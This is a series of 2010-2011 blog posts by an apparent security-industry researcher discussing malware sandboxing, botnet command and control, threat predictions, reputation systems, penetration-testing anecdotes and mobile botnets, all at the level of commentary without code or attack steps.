Understanding the threats that plague the Internet and infiltrate the enterprise network is more than just instrumentation and regular mechanical sampling. To grasp the threat you need to understand the limitations of your threat visibility, constantly upgrade and extend the monitoring systems, and finally augment that visibility with data analysis systems capable of managing, correlating and analyzing huge volumes of streaming data. Even then there’s still a high degree of “art” to interpreting the nature of an Internet-spanning threat.

To my mind the methods, skills and acumen to understanding and tracking Internet threats are eerily similar to meteorology. Perhaps I’m biased – I specialized in Atmospheric Physics at University after all – but those skills and experiences I gained in meteorology can increasingly be applied to studying Internet threats. In particular, those of forecasting and dealing with abrupt changes of chaotic systems.

Let me propose the concept of Threatology – the study and analysis of Internet threats – and the Threatologists who study and understand it. Much of threatology is still an art – but that’s OK. Sure, there are millions of sensors scattered around the Internet (in the form of IDS sensors, AV sensors, web crawlers, spam traps, etc.) feeding data back to the threatologists for analysis – just as there are rain gauges, barometers, thermometers, anemometers and Doppler radar, etc. feeding data to meteorologists – but the real work goes into feeding the big modeling systems designed to digest the streaming data and forecasting what’ll happen next.

Today’s threatologists are still battling the intricacies and limitations of the sensors they’ve deployed (or have access to) around the Internet. Take for example the data feeds gained from the tens-of-millions of deployed desktop anti-virus products out there that phone-home with the latest things their subscribers have been infected with. An analogy would be the millions of amateur meteorologists submitting their latest rain gauge data back to the national meteorology department. Intricacies such as make and manufacturer of the gauge (affecting what’s actually being measured), physical location (e.g. under a tree or patio, or in the middle of a one-acre yard), geographical location (95% located in suburbia, 3% in farms, etc.), cleaning regime (the sensor’s full of autumn leaves or mud) and technical skill of the amateur operator – greatly limit the usefulness of this “invaluable” data source.

Over the last five decades meteorologists have employed ever-more advanced weather modeling systems that take in all this sensor data, apply historical trends and prediction routines, and manage to provide fairly accurate forecasts a few days out into the future. Threatologists meanwhile only have a couple of years playing with their own threatology modeling systems – and there’s a long way to go. There’s a lot to be learned from meteorology and the tools that have been developed thus far. Sure, there are many differences in the specifics of the data and nature of the threat – but the dynamic and chaotic characteristics (using the mathematical definition) of the threat are things that have already been “solved” in meteorology.

Welcome to the era of threatology and the professional threatologists.

Reinventing the Sandpit

2011-02-23T15:18:00.000-08:00

Sometimes it feels that the IT security world loves innovation as much as it loves to reinvent the wheel – particularly when it comes to wrapping sheets of tin around a previously established security technology and labeling it as advancement. The last few weeks have been no exception in the run up to the annual RSA conference in San Francisco and the recent “innovation” going on in dealing with next generation malware (or AV+ as some folks refer to it) as multiple vendors launch new appliances to augment their product portfolio.

The latest security technology to undergo the transformation to tin is of course the automated analysis of suspicious binaries using various sandboxing techniques. For those of you not completely familiar with sandboxing, a sandbox is effectively a small self-contained version of an computer environment offering a minimal suite of services and capabilities. As the name applies, a sandbox serves as a safe environment for running various applications that may be destructive in other circumstances – yet can be rapidly built up and torn down as necessary.

In an enterprise security context, sandboxes are regularly encountered in two operational security implementations – safe browser sandboxes (designed to wrap around the web browser and protect the operating system from any maliciousness that may occur while the user is browsing the web and prevent attacks from contaminating the base operating system) and gateway binary introspection (i.e. the automatic duplication or interception of suspicious binary files which are then executed within a sandbox that mimics a common operating system configuration for the purpose of identifying and classifying any malicious binaries they come across).

The sandbox approach to malware identification is often referred to as signature-less and offers many advantages over classic anti-virus technologies, but they also suffer from their own unique set of limitations and inconveniences – most have to do with the way in which malware can discover that it is being executed within a sandboxed environment and thus act benignly, and limitations to the faithfulness with which the sandbox imitates a genuine targeted system (e.g. installed applications, application version, Internet connectivity, etc.). In general though, sandbox approaches to automated malware inspection and classification are more sophisticated and accurate than signature-based anti-virus approaches.

Despite what you may have heard in the flurry of newly released AV+ solutions, automated malware sandbox approaches aren’t precisely new – in fact they’ve had over a decade of operational and, dare I say it, “hostile” use. For example, Damballa has been operating sandboxing technology in the cloud pretty much since the inception of the company. We’ve chosen to use multiple sandbox technologies (along with bare-metal systems, manual analysis, etc.) to automatically process the mountains of new malware captured every day to mechanically extract their network characteristics, automatically cluster new malware families, and provide attribution to multiple criminal organizations.

Note that, from a product perspective, Damballa doesn’t run malware sandboxing technology from within a customer’s environment – there’s little to be gained from doing so, and the risks greatly outweigh the possible gain. Instead, the automated analysis of suspicious and vetted binaries using cloud-based malware enumeration technologies (which includes very sophisticated sandbox approaches amongst other specialized malware dissection engines) has proven to be more accurate, efficient and secure.

Over the years, many different malware analysis sandbox technologies have been developed. For example (not a complete list):

Norman Sandbox (2001) – In 2001 Norman presents its sandbox technology for the first time at the Virus Bulletin conference in Prague and offers a commercial sandbox version in 2003.

CWSandbox (2007) – Originally created by researchers from University of Mannheim. Available commercially by GFI Software (formerly Sunbelt Software) and free/academic use via http://mwanalysis.org

Sandboxie (2006)

Anubis (2006)

Joebox (2007)

Azure (2008)

BitBlaze (2008)

ThreatExpert (2008)

Ether (2009)

Each sandbox technology tends to be implemented in a different way – usually optimized and tuned for specific classes of malware (or aspects of malware) – and typically utilize either an emulator or virtual-machine approach. Emulators tend to be much smaller and faster in analyzing specific classes of malware, but suffer from their greatly limited range of supported (i.e. emulated) operating system API’s. Virtual machine approaches tend to be much more flexible, but are larger and slower.
Over the last decade, virtual machine (VM) based approaches have risen to the fore for automated sandbox approaches to malware investigation. The VM approach allows multiple guest OS images to be loaded simultaneously in order to run the malware within a self-contained and disposable environment. Interestingly enough, as a side note, did you know that the concept of running multiple, different operating systems on a single computer system harkens back to the 1970’s following research by IBM and the availability of the IBM VM/370 system? Talk about coming a full circle with “what’s old is new” again in security.

For sandboxing technologies, a combination of API hooking and/or API virtualization is often used to analyze and classify the malware. A term you will often see is “instruction tracing” – which refers to the observations recorded by the sandbox technology which are eventually used to derive the nature of the binary sample under investigation. This instruction tracing lies at the heart of sandbox-based approaches to automated malware analysis – and is the Achilles heel exploited by evasive malware.

Instruction tracing is typically implemented in one or more of the following ways:

User-mode agent – a software component is installed within the guest operating system and reports all user-based activity to the trace handler (think of this kind of like a keylogger).

Kernel-mode Patching – The kernel of the guest operating system is modified to accommodate tracing requirements (think of this kind of like a rootkit).

Virtual machine monitoring – The virtual machine is modified and instrumented itself to observe the activities of the guest operating system

System emulation – A hardware emulator is modified to hook appropriate memory, disk IO functions and peripherals (etc.) and report activities (think of this as a hall of mirrors approach). Emulation approaches are great for more difficult operating systems (e.g. Android, SCADA systems, etc.)

Unfortunately each of these sandboxing techniques exhibit system characteristics that can be detected by the malware being analyzed and, depending upon the nature of the malware, can be used programmatically to avoid detection.

Despite all these limitations, the sandbox approach to malware analysis has historically proven to be useful in analyzing the bulk of everyday malware.
In more recent years the techniques have become less reliable as malware developers have refined their sandbox detection methods and evolved more subtle evasion techniques. Many of these detection techniques are actually independent of the sandboxing technique being used – for example, the multitude of network-based discovery and evasion techniques discussed in my previous whitepaper “Automated In-Network Malware Analysis”.

The sandbox approach to automated malware identification and classification needs to be backed up with more advanced and complementary malware detection technologies. Organizations facing the brunt of targeted attacks and advanced persistent threats should make sure that they have access to sandbox analysis engines within their back office for the bulk processing of malware samples (running multiple configurations of the standard desktop OS builds (or gold images) deployed within the organization), and include a mix of bare-metal and honey-pot systems to handle the more insidious binary files. Even then, executing malware within your own organizations network or physical location is risky business for the reasons I covered in an earlier blog on the topic – you’re “damned if you do, and damned if you don’t”.
If you’re going to go to all the effort of installing and maintaining malware analysis sandboxes within your own organization, my advice is to look beyond the latest installment of tin-wrapped hype and take a closer look at the more established sandbox technologies out there. There’s plenty of choice – and many are free.

Post-emptive Detection

2011-02-23T15:12:00.000-08:00

In the week before RSA I managed to pull together a blog on the Damballa site covering several of the problems with approaches that focus upon storing "all" the data and (eventually) data mining it in the quest for security alerts - aka Store it all in my barn. Here's what I had to say...

My advice to organizations looking at adopting “store it all” network monitoring appliances is the following:

If you already have all of your protection and detection bases completely covered, maybe deploying these appliances makes sense – provided you employ the dedicated security analysts and incident response folks to make use of the data.
Do you know what you’re trying to protect? “Store it all” approaches are designed to fill in the gaps of your other threat monitoring and detection systems. Is the threat going to be present at the network egress point, or will you need to store traffic from other (higher-volume) network segments? If so, be cognizant of how far back you can roll your eventual analysis.
If you’re in to hording data for the purpose of forensics and incident response, a more efficient and cost effective approach may be to turn on (and optimize) your logging capabilities. Host logging combined with network logging will yield a very rich data set (and will often be richer than simply storing all network traffic) which can be mined much more efficiently.
If host-based logging isn’t possible or is proving to be too unwieldy, and you find yourself having to maintain a high paranoia state throughout the organization, you may want to consider implementing a flow-based security approach and invest in a network anomaly detection system. That way you’ll get near real-time alerting for bespoke threat categories – rather than labor-intensive reactive data-mining.
If you have money to burn, buy the technology and begin storing all the PCAP data you can. Although I’d probably opt for a Ferrari purchase myself…

Covert Penetration

2010-12-27T07:16:00.000-08:00

In what sometimes feels like a past life after a heavy day dealing with botnets, I remember fondly many of the covert and physical penetration tests I've worked on or had teams engaged in.

Depending upon the goals of the penetration test, things like installing physical keyloggers on the receptionists computer (doing this surreptitiously while engaged in conversation with the receptionist - hands dangling down the back of the computer...) in order to capture emails and physical door entry codes, dropping a little wireless Compaq/HP iPaq in the plant-pot for a day of wireless sniffing etc., dropping "malware" infected USB keys in the office car park in the morning (waiting for the "finders" to check them out on their office computer by lunchtime) and pretending to be official fire extinguisher inspectors and getting access (and a little alone-time) in their server farm.

Anyhow, today I spotted an interesting gadget that would have been pretty helpful on many of these physical engagements - The PlugBot. It's a wireless PC inside what looks like a plug adapter.

If you're not a penetration tester - perhaps you should read about it anyway. Something to "keep an eye on" within your own organization then.

Google Maps for Command & Control

2010-12-10T06:45:00.000-08:00

You've probably heard about the protests going on in London concerning the proposed uptick in University fees and the way in which some of the actions (from both sides) have gotten out of hand.

We'll it appears that Google Maps has/is been/being used for command and control of the various protesting actions by some - tracking where the police/brocades/ambulances are etc.

It's an interesting use of the mapping technology.

Student protesters use Google Maps to outwit police on the Metro.co.uk

Threat Landscape in 2011

2010-12-08T06:37:00.001-08:00

OK, so it's that time of the year again and all the security folks are out making predictions. And, as usual, I have a number of inbound calls for me to pump out the same. Not necessarily "the same" predictions though - since why would marketing and PR teams want to pimp "the same" predictions as everyone else... that'll never get mentioned in the press... ideally a few predictions about how the world will come to an end and preferably in a way that no one has though of before. You know the sort of prediction I mean - "By the end of 2011, cyber criminals will have full control of the electronic systems that control sewer pipes in the US and will be extorting cities for millions of dollars - or else they flood the city and cause massive deaths from typhoid and plague."

Cynicism in the run up to Christmas? Bah-humbug :-)

Anyway, despite all that, "predictions" can be pretty useful - but only if they're (mostly) correct and can be actionable. So, with that in mind, I've posted some "expectations" (rather than predictions) for 2011. I think it's important to understand the trends behind certain predictions. A prediction that comes from no where, with no context, and with no qualification is about as helpful as a TSA officer.

Here are the 2011 predictions (aka expectations) I posted on the Damballa blog:

The cyber-crime ecosystem will continue to add new specialist niches that straddle the traditional black and white markets for both the tools they produce and information they harvest. The resulting gray-markets will broaden the laundering services they already offer for identities and reputation.
Commercial developers of malware will continue to diversify their business models and there will be a steady increase in the number of authors that transition from “just building” the malware construction kits to running and operating their own commercial botnet services.
The production of “proof-of-concept” malware, hitherto limited to boutique penetration testing companies, will become more mainstream as businesses that produce mechanical and industrial goods find a greater need to account for threats that target their physical products or production facilities.
4. Reputation will be an increasingly important factor in why an organization (or the resources of that organization) will be targeted for exploitation. As IP and DNS reputation systems mature and are more widely adopted, organized cyber-criminals will be more cognizant of the reputation of the systems they compromise and seek to leverage that reputation in their evasion strategies.
The pace at which botnet operators update and reissue the malware agents on their victims’ computers will continue to increase. In an effort to avoid dynamic analysis and detection technologies deployed at the perimeter of enterprise networks or operating within the clouds of anti-virus service providers, criminal operators will find themselves rolling out new updates every few hours (which isn’t a problem for them).
Malware authors will continue to tinker with new methods of botnet control that abuse commercial web services such as social networks sites, micro-blogging sites, free file hosting services and paste bins – but will find them increasingly ineffective as a reliable method of command and control as the pace in which takedown operations by security vendors increases.
The requirement for malware to operate for longer periods of time in a stealthy manner upon the victim’s computer will become ever more important for cyber-criminals. As such, more flexible command and control discovery techniques – such as dynamic domain generation algorithms – will become more popular in an effort to thwart blacklisting technologies. As the criminals mature their information laundering processes, the advantage of long-term host compromises will be evident in their monetary gains.
The rapidity in which compromised systems are bought, sold and traded amongst cyber-criminals will increase. As more criminals conduct their business within the federated ecosystem, there will be more opportunity for exchanging access to victim computers and greater degrees of specialization.
Botnet operators who employ web-based command and control portals will enhance their security of both the portal application and the data stolen from their botnet victims. Encryption of the data uploaded to the data drop sites will increase and utilize asymmetric cryptography in order to evade security researchers who reverse engineer the malware samples.
The requirement for “live” and dynamic control of victims will increase as botnet operators hone new ways of automatically controlling or scripting repeated fraud actions. Older botnets will continue their batch-oriented commands for noisy attacks, but the malware agents and their command and control systems will grow more flexible even if they aren’t used.

Reputation or Exploit?

2010-12-05T16:11:00.000-08:00

The other day I was blogging on the Damballa site about the principles behind dynamic reputation systems - Building A Dynamic Reputation - and trying to answer a question that came up over whether dynamic reputation systems can replace IPS.

You'll find some comments on the other blog, but I wanted to add some more thoughts here - based upon some thoughts shared by others on the topic.

I guess the issue lying at the heart of the question is whether, by implementing a blocking (or filtering) policy based upon the findings/classification of a dynamic reputation system, you'd be gaining better protection than having implemented a stand alone IPS.

To issues come in to play in the the decision - How "complete" is the dynamic reputation system? and How "reliable" is the IPS?

As I said in the original posting - advanced dynamic reputation systems have been coming along in leaps and bounds. We're not talking about some static blacklist here and neither are we limiting things to classic IP reputation systems that deal with one threat category at a time. Instead we're talking about systems that take as inputs dozens of vetted threat detection and classification lists, realtime feeds of streaming DNS/Domain/Netflow/Registration/SpamTrap/Sinkhole/etc. data and advanced machine learning algorithms.

From experience (and empirical evidence), blocking the things that a dynamic reputation system says is bad or very suspicious at the network perimeter appears to out perform IPS - if the count of victim machines is anything to go by.

One of the key failings of IPS is that its reputation is better than its performance. What I mean by that is an IPS is limited to its signatures/algorithms for detecing know threat profiles and exploit techniques. These are not all encompasing - and you'll normally only fine the first "in-the-wild" exploit for a vulnerability covered (or exploits that get used by popular commercial hacking tools and IPS testing agencies) - rather than all the obfuscation and evasion techniques. You may remember the blog I did a little while about the commercial exploit testing services used by the badguys - such as Virtest.com.

So, here's my thinking. It's better to block known bad and provable dangerous/suspicious servers (independent or restricted to a particular protocol - depending upon your tolerance for pain) than on a hope that your IPS is going to stop some (hopefully) past-seen permutation of a particular exploit being served by the attacking server.

Some may argue that you're still at risk of servers that are unkown to a dynamic reputation system. Are you though? Think of it this way. You have a dynamic reputation system that is taking live datafeeds etc (as described above) for the entire Internet. If a server (or service) has never been seen and doesn't have a reputational score - then it's already suspicious and could probably be blocked for the timebeing.

Defense in depth is still a good option though!

Secure Me Mr Internet

2010-11-05T09:50:00.000-07:00

During my travels of the last couple of weeks I've been pondering what the future holds for securing the end user/victim. The last couple of decades has focused upon protecting the user by getting them to protect themselves (e.g. install AV/HIDS/DLP/etc. on their own computer) - and that's obviously been failing.

The complexity of protecting these computers is well beyond the average user - so why does the industry proceed with this sham? Maybe there's an air of addiction to the legacy solution. In general though, if a security technology is dependent upon the successful operation and maintenance of the software by the end user, then it's predestined to fail.

What could a future end-user security ecosystem look like? I let my mind wonder a little and posted something up on the Damballa site... "A Future Security Ecosystem".

Cross-posting the blog below...

Earlier this week, while attending a conference in Germany, I was asked to reflect on what would be the “next big thing” for combating organized Internet crime… something that could be achievable 5 years from now. I’ve always been a proponent of doing as much as possible to remove the consumer from being responsible for securing themselves. By that, what I mean is all too often corporations assume that their primary security defense is for their own customers to be secure, and the corporation’s security is conceptually a backup defense – kind of like mopping up the exceptions. The problem here though is that consumers can’t defend themselves, and those “exceptions” are all too rapidly becoming the norm. I once wrote a paper covering the concepts of continuing to do business with malware infected customers – and much of that has been applied successfully to online banking systems. But is there something new we (as an industry) could be doing? Getting back to a 5-year framework, one future threat response ecosystem could revolve around a shared platform of “who’s infected and with what.” The concepts are rather simple. At the network layer, it is increasingly possible to identify computers that have been infected with botnet malware – particularly the criminal tools used to conduct real-time fraud on the victims’ computers. What if it was possible to share that information (live) with the organization that the victim is currently trying to do online transactions with? For example, let’s say that I know that John Doe’s PC is currently infected with a Zeus malware variant under the control of the LonelySharks crime syndicate based in Chile and – in the last 10 minutes – that computer has been in contact with the command-and-control (CnC) servers the criminals are using. As John Doe opens his Web browser and connects to XYZ Bank Inc., the banks web application can query a live database of whether Joe Does computer has been noted as being infected recently. In this case, XYZ Bank Inc. finds out that the computer John is using is infected and that the criminal operators behind the malware typically conduct banking fraud. XYZ Bank Inc. can now undertake a number of additional transaction monitoring processes and change the way that new banking transactions from John Doe’s computer are handled (e.g. he’s never done an online transfer to ABC Electrical supplier before – so perhaps the bank may want to do some homework about this ABC Electrical supplier account now too). They may also want to alert John that they’re doing this and provide advice on how best to remove the threat from his own computer. The net result of all this is the fact that the business can continue to do business with their infected customer – as they know when (and how) to be more vigilant to fraud attempts. Perhaps this doesn’t sound like much of an advance – but you should try speaking with anyone in the financial services field. A little bit of alerting can go a long way in protecting the customer (and organization) from fraud – and can help close down the operations of the criminals much faster. The key to this is being able to identify which computers are infected (in real time), being able to associate the computer to a particular threat, and being able to share this information in a legal and private way. Obviously ISP’s are in a perfect position to help. They are already beginning to implement network-wide passive botnet detection systems and could (if allowed to) make the association between computer and user (or subscriber in this instance). At the moment I doubt they’d be legally allowed to share this information with anyone beyond the victim themselves. But, what if… …what if it was possible for an ISP customer to subscribe to a service where they allow the ISP to identify the threats targeted at them (and the threat that they have become victim to), and to be able to share that information with a list of authorized companies that the user does business with regularly. Assuming that the “check” done by the business is only done at the time the user’s computer is in operation, the prospect of privacy invasion is mute. The technologies to do all this largely exist today. Would the prospect of additional privacy loss (to organizations I’m already dealing with and authenticating myself to) concern me? I don’t believe so. Would I be prepared to pay for this? Sure, if the price is right… But perhaps the model could be even more beneficial for all concerned. If I’m a subscriber to this service, since it’s the banks or businesses that I’m doing transactions with that benefit the most from all this data sharing, perhaps I don’t need to pay for my subscription? Would those organizations pay my ISP to know where I’m infected (or any other of their customers at the same ISP are infected)? Hell yeah. They’re hunting for companies that can supply them with this data. So, if they’re already looking to buy this info, perhaps my ISP doesn’t need to charge me for this service (and all the other great anti-threat stuff they can do for me in the cloud) – instead they can get it directly from the businesses I regularly do online transactions with? If that’s not so palatable to the ISP’s, perhaps the organizations I do online business with will offer me discounts or better rates directly if I opt-in and allow my ISP to share the information? Would it be economically viable for my online shares trading platform provider to reduce my transaction fees a little – since they have more confidence in their fraud detection processes now they know whether my computer is tainted or not? I suspect they probably would. There is of course a long way to go – but this is one of the things I thought would be a valuable security ecosystem for combating much of the fraud now evident. And I think a 5-year goal could be achievable.

Where are those botnet CnC's at?

2010-10-25T10:42:00.001-07:00

If you're building or managing a botnet of more than a few thousand victim machines, where and how you host your command and control (CnC) servers is damned important.
Where were the bad guys hosting there CnC servers for the first half of the year? Damballa has just released a blog covering the top-10 worst offender service providers as well as a breakdown by country. Guess who's at the top of the lists...

Botnet Hosting (H1 2010) Blog

In situ Automated Malware Analysis

2010-09-28T10:36:00.000-07:00

Over the past few years there's been a growing trend for enterprise security teams to develop their own internal center of excellence for malware investigations. To help these folks along, there's been a bundle of technologies deployed at the network perimeter to act as super-charged anti-virus detection and reporting tools.

There's a problem though. These technologies not only tend to be more smoke and mirrors than usual, but are increasingly being evaded by the malware authors and expose the corporate enterprise to a new range of threats.

Earlier this week I released a new whitepaper on the topic - exposing the techniques being used by malware authors and botnet operators to enumerate and subvert these technologies. The paper is titled "Automated In-Network Malware Analysis".

I also blogged on the topic yesterday over on the Damballa site - here.

Cross-posting below...

Automated In-Network Malware Analysis

Someone once told me that the secret to a good security posture lies in the art of managing compromise. Unfortunately, given the way in which the threat landscape is developing, that “compromise” is constantly shifting further to the attacker’s advantage.

By now most security professionals are aware that the automated analysis of malware using heavily instrumented investigation platforms, virtualized instances of operating systems or honeypot infrastructures, are of rapidly diminishing value. Access to the tools that add sophisticated evasion capabilities to an everyday piece of malware and turn it into a fine honed one-of-a-kind infiltration package are simply a few hyperlinks away.

Embedding anti-detection functionality can be achieved through a couple of check-boxes, no longer requiring the attacker to have any technical understanding of the underlying evasion techniques.

Figures 1 & 2: Anti-detection evasion check-boxes found in a common Crypter tool for crafting malware (circa late 2008).

Throughout 2010 these “hacker assist” tools have been getting more sophisticated and adding considerably more functionality. Many of the tools available today don’t even bother to list all of their anti-detection capabilities because they have so many – and simply present the user with a single “enable anti’s” checkbox. In addition, new versions of their subscriber-funded tools come out at regular intervals – constantly tuning, modifying and guaranteeing their evasion capabilities.

Figure 3: Blackout AIO auto-spreader for adding worm capabilities and evasion technologies to any malware payload. Recommended retail price of $59 (circa August 2010).

Pressure for AV++

In response to the explosive growth in malware volumes and the onslaught of unique one-of-a-kind target malware that’s been “QA Tested” by their criminal authors prior to use in order to guarantee that there’s no desktop anti-virus detection, many organizations have embarked upon a quest for what can best be described as “AV++”.

AV++ is the concept behind some almost magical array of technologies that will capture and identify all the malware that slips past all the other existing layers of defense. Surprisingly, many organizations are now investing in heavily instrumented investigation platforms, virtualized instances of operating systems or honeypot infrastructures – all the things that are already know to have evasions and bypassing tools in circulation – despite the evidence. Has fear overcome common sense?

An area of more recent concern lies within the newest malware creator tool kits and detection methodologies. While many of the anti-detection technologies found in circulation over the last 3-4 years have matured at a steady pace, the recent investments in deploying automated malware analysis technologies within a targeted enterprise’s network have resulted in new innovations and opportunities for detection and evasion.

Just as the tactic of adding account lockout functionality to email accounts in order to prevent password bruteforcing created an entirely new threat (the ability to DoS the mail system by locking out everyone’s email account) so we see the development of new classes of threats in response to organizations that attempt to execute and analyze malware within their own organizations.

In a “damned if you do, and damned if you don’t” context, the addition of magical AV++ technologies being deployed within the borders of an enterprise network has opened the doors to new and enhanced evasion tactics.

To best understand the implications and dynamics of the new detection and evasion techniques being used by the criminals targeting businesses I’ve created a detailed white paper on the topic.

Intel Pentium Processor "Performance Upgrade"

2010-09-19T14:50:00.000-07:00

Catching up with some of the RSS feeds I monitor earlier today I came across some chatter about the newly launched/noticed upgrade option for Intel processors. Specifically, the $50 upgrade option to the new Pentium G6951.

So whats all this about? Apparently, the new processor can be "upgraded" by purchasing what amounts to a license key for turning on the embedded functionality of the chip. Or, to put it another way, you've purchased a PC with a downgraded Pentium processor with disabled features - but can "enable" those features at a later date by simply purchasing the aforementioned "upgrade card".

There's a lot of fervor concerning this particular innovation from Intel. Granted, the concepts aren't particularly new and other technology companies have tried similar tactics in the past (e.g. I was once told that the IBM Z-Series mainframes ship with everything installed but, depending upon the license you purchased, not all the capacity/features of the system are enabled), but It's not something I'm a particular fan of. Then again, it would seem to me that I'm probably not the type of consumer that Intel would be marketing this product strategy to either.

The Intel site describing the upgrade technology/processes/etc. can be found at http://retailupgrades.intel.com/ - although it does appear to still be in a state of "under construction" as evidenced with the following response to the FAQ question of "Which PC's with this upgrade work on?"

Good luck with this one Intel. It's not like I'll be buying any product (Intel or other) knowing that it had been intentionally disabled and subject to an additional fee for activation.

The exception would be if I felt like doing a bit of RE to get the full functionality without buying in to the whole marketing "vision" (subject to license agreements, yadda, yadda, yadda...).

Musings on Metasploit

2010-09-18T12:50:00.000-07:00

The week before last I attended and spoke at the OWASP AppSec 2010 conference on the first day, meanwhile HD Moore spoke on the second day.

It's always fun to watch HD Moore as he covers the latest roadmap for Metasploit - explaining the progress of various evasion techniques as they're integrated in to the tool and deriding the progress of various "protection" technologies.

A couple of things he said at the time stuck in my mind and I've been musing over them throughout last week. One comment - in response to a question that had been raised - was that IDS/IPS evasion is already sufficient within Metasploit and that further techniques would be "like kicking a cripple kid". Granted, not very PC - but that's the purpose of such statements.

I agree to a certain extent that IDS/IPS technologies can be evaded - but there's a pretty broad spectrum to IDS/IPS technologies and 'one size doesn't fit all'. For example, HD Moore mentioned that simply using HTTP compression (i.e. GZIP) is enough to evade the technology. Not so. For IDS/IPS technologies with full protocol parsing modules (rather than packet-based signature matching) such techniques won't work. But that's by the by. Depending upon the sophistication of the attacker and their knowledge of the strengths and weaknesses of the IDS/IPS technology, evasions can often be found in short order (depending upon the type of vulnerability being exploited). While it's obviously to HD Moores advantage to talk a good game on behalf of Metaspolit and novel evasion techniques, it doesn't hurt to be reminded that there is an agenda to making such broad claims.

The other comment he made related to the progress of adding more advanced payloads and exploit techniques. While I can't remember precisely the terms he used, the way he was discussing the topic - how much fun everyone was having inventing and developing the new techniques - I couldn't help by feel a little ashamed that things within the professional (attack-based) security field had reached this level.

What do I mean? Well, the way in which HD Moore was describing things to the audience I couldn't help but think in terms of physical weapons research. The description of the nestled exploit and evasion modules and how the developers/researchers were going about developing better, faster and more efficient techniques made me visualize a game of one-up man-ship between bullet designers. Something like the following...

Researcher 1: I think we should make a bullet that's Teflon coated but acts like a dum-dum bullet that expands to make a bigger hole in the target.

Researcher 2: No, I've got a better idea. Instead of using the dum-dum style of bullet, I've come up with a way of making it fragment quicker and completely eviscerate the target internally.

Researcher 1: How about we add that new flaming compound so that as the target gets eviscerated he'll combust at the same time.

Researcher 2: That's cool! I bet there'll be crimson smoke coming out of the target too.

Researcher 1: Ha ha. Cool! Lets build it and test it against those homeless people across the road.

I'm guessing you're thinking that I'm perhaps a little warped in thinking these kinds of things (and for writing them down). But it's something that sprung in to my mind at the time and again last week. How much is too much?

Granted, "good enough" protection can be defeated by using a "good enough" evasion technique. But I wonder when (or if) we'll ever need people to be more responsible for their actions developing what are effectively the cyber-equivalent of weapons? I strongly doubt that there'll ever be the cyber-equivalent of the Hague Convention though.

Infinite Malware & Infinite Protection?

2010-09-04T08:33:00.000-07:00

Infinite detection of malware? In Sophos' blog entry "To infinity and beyond" it's pointed out that there's an infinite number of malware threats (and that there'll be more tomorrow). It's also implied that customers are protected against these infinite threats by infinite detection capabilities - which is obviously taking the theme in to some far-flung infinite parallel universe with infinitely better anti-virus solutions that we have in our particular reality.

Nevertheless, their perspective of infinite malware is quite correct. Given that malware can by dynamically generated (checkout the paper on x-morphic attack engines), exhibit polymorphic capabilities and is generally created faster than it can be counted, captured and cataloged, then for all intents and purposes it is infinite.

Which means I have to chuckle when I hear or read any media coverage about the number of malware a particular vendor has captured and written detection signatures for. It's like saying "look, I tripped over 2,543,234 pieces of malware around the world last year and developed protection of each of them". Then, with my mathematicians hat on... infinite threats minus 2,543,234discovered threats still leaves an infinite number of threats. Or, expressing detection coverage as a percentage of scale of the threat = zero percent.

Obviously that's not precisely true. Anti-virus technologies are generally OK at detecting the stuff they've seen before and with generic catch-all signatures they can often capture or label related families of malware as being malicious - or at the very least "suspicious". The problem tends to grow in to frustration when practically every binary file downloaded from the Internet gets marked as "suspicious" - and hence the label becomes meaningless.

Despite all this, Sophos is spot on - there's an intinite number of malware out there, and there'll be more tomorrow. Welcome to the day after yesterday.

Blacklists, Clustering and The Matrix

2010-08-20T19:19:00.000-07:00

Blacklists are the mainstay of many security technologies protecting enterprise networks today. Despite being used practically everywhere however, many people fail to understand what blacklists actually offer in the realm of protection - and how they're often used as a preemptive protection technology.

Add to that a complementary technology - one offering more advanced features in the realm of preemptive threat detection (and perhaps "protection") and used to aid and extend blacklists - is that of clustering.

To help explain these technological terms (and whats happening in this field of preemptive technology) I wrote a couple of technical blogs that were published in SC Magazine this week. With a bit of luck you'll find them educational and a bit of fun.

Part One: Blacklists, clustering and The Matrix

Part Two: Blacklists, clustering and The Matrix

Mobile Threats - Cellular Botnets

2010-07-12T18:31:00.000-07:00

Smartphones are getting smarter. You know it, I know it, and every would-be criminal botnet operator knows it too. But why haven't we seen many cellular botnets? It's not as if it's difficult to exploit, compromise or otherwise socially engineer a remotely controllable agent on to the handset.

Thoughts on the topic went up on the Damballa blog site earlier today and are mirrored below...

Last month I gave a couple of presentations covering the current state of cellular mobile botnets – i.e. malware installed on mobile phone, smartphone and cellular devices designed to provide remote access to the handset and everything on it. While malware attacks against dumb and smart phones are nothing new, the last 3 years of TCP/IP default functionality, compulsory data plans, access and provisioning of more sophisticated development API’s, have all made it much easier for malware developers to incorporate remote control channels in to their malicious software. The net effect is the growing “experimentation” of cellular botnets.

I purposefully use the term “cellular” so as to focus attention on the botnet agents’ use of the mobile Telco’s cellular network for Internet access – rather than more localized WiFi and Bluetooth services. Worms such as Commwarrior back in 2005 made use of Bluetooth and MMS to propagate between handsets – but centralized command and control (CnC) was elusive at the time (thereby greatly limiting the damage that could be caused, and effectively neutering of any criminal monetization aspirations). More recently thoughh, as access to the TCP/IP stack within the handsets has become more accessible to software developers through better API functionality by the OS vendors, the tried and tested CnC topologies for managing (common) Internet botnets are be successfully applied and bridged to cover cellular botnet control.

Discussions about Smartphone botnets are making it to the media more frequently – albeit mostly the IT and security press – for example, “Botnet Viruses Target Symbian Smartphones“. Based upon the last couple of presentations I’ve given on the topic, lots of people are worried about cellular botnet advances – no more so than the Telco providers themselves.

Sure, there are plenty of ways of infecting a Smartphone – successful vectors to date have been through Trojaned applications, fraudulent app store applications, USB infections, desktop synchronization software, MMS attachments, Bluetooth packages, unlocking platform application downloads/updates, etc. – but relatively little has been publicly discussed about the use of exploit material. As we all unfortunately know, one of the key methods of infecting desktop computers is through the exploitation of software vulnerabilities. Are we about to see the same thing for Smartphones? Will cellular botnets similarly find that handset exploitation will be the way to propagate and install botnet agents?

In all likelihood, vulnerability exploitation is likely to a lesser problem for Smartphone – at least in the near future. Given the diversity in hardware platforms, operating systems and chip architectures, it’s not as easy to create reliable exploits that can affect more than one manufacturers line of product. That said though, some product lines are numbered in the tens of millions of devices, and the OS’s are becoming increasingly better at making the underlying hardware transparent for malicious software and exploitation. I’ll also add that there are plenty of vulnerabilities, “reliable” exploits up for sale and interested researchers bug hunting away – but at the moment there’s little financial gain for professional botnet operators compared to the well established (and much softer) desktop market of exploitable systems. But we have to be careful to not marginalize the threat, it’s worth understanding that botnets are already being developed and (in very limited and targeted distribution) are being used for installing botnet agents on vulnerable handsets.

